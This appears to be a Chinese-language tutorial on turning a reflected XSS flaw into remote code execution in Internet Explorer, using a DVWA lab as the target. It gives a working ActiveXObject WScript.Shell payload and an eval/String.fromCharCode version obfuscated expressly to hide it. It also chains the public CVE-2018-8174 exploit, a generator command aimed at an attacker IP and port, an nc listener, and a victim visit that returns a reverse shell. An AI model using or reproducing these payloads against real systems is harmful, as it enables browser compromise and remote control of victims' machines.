XSS从弹框到RCE(IE)
/为了提高XSS漏洞的严重性,这里利用JS在IE上实现RCE。
0x01 利用ActiveXObject
这里以DVWA的反射型XSS为示例,其他情形的XSS利用同理。
构造的JavaScript代码如下:
1 | var o = new ActiveXObject("WScript.Shell"); |
放到payload中:
1 | <script>var o = new ActiveXObject("WScript.Shell");o.run("calc.exe");</script> |
输入后无任何反应,但在控制台可看到报错:
这种利用方式id前提是需要在IE上打开Internet Explorer “工具”菜单栏中的“选项”-“安全”-“自定义级别”-“对没有标记为安全的activex控件进行初始化和脚本运行-设置成启用,如下:
修改设置后,再次提交payload,系统会弹框警告:
只要用户点击确定即可执行exp:
当然,为了掩饰,我们可以对代码进行加密,加密后代码如下:
1 | String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10) |
最终Exp如下:
1 | <script>eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));</script> |
0x02 结合CVE-2018-8174利用
这里我们可以引入浏览器漏洞,以CVE-2018-8174漏洞为例。
Exp下载地址:https://github.com/Yt1g3r/CVE-2018-8174_EXP
第一步——生成恶意exploit.hml文件
在命令行输入以下命令,得到exploit.html:
1 | python CVE-2018-8174.py -u http://192.168.17.148:81 -i 192.168.17.160 -p 6666 -o exp.ctf |
第二步——开启nc监听端口,并将exploit.html文件上传到服务器
其实exploit.html是一个通过script标签调用VBScript代码的页面,这种场景使用于存在XSS的页面,只需要将exploit.html中的script标签的内容作为输入即可进行XSS利用,这里只演示原理。
第三步——受害者访问exploit.html实现反弹shell
受害者访问exploit.html会显示报错:
监听端接受到反弹shell: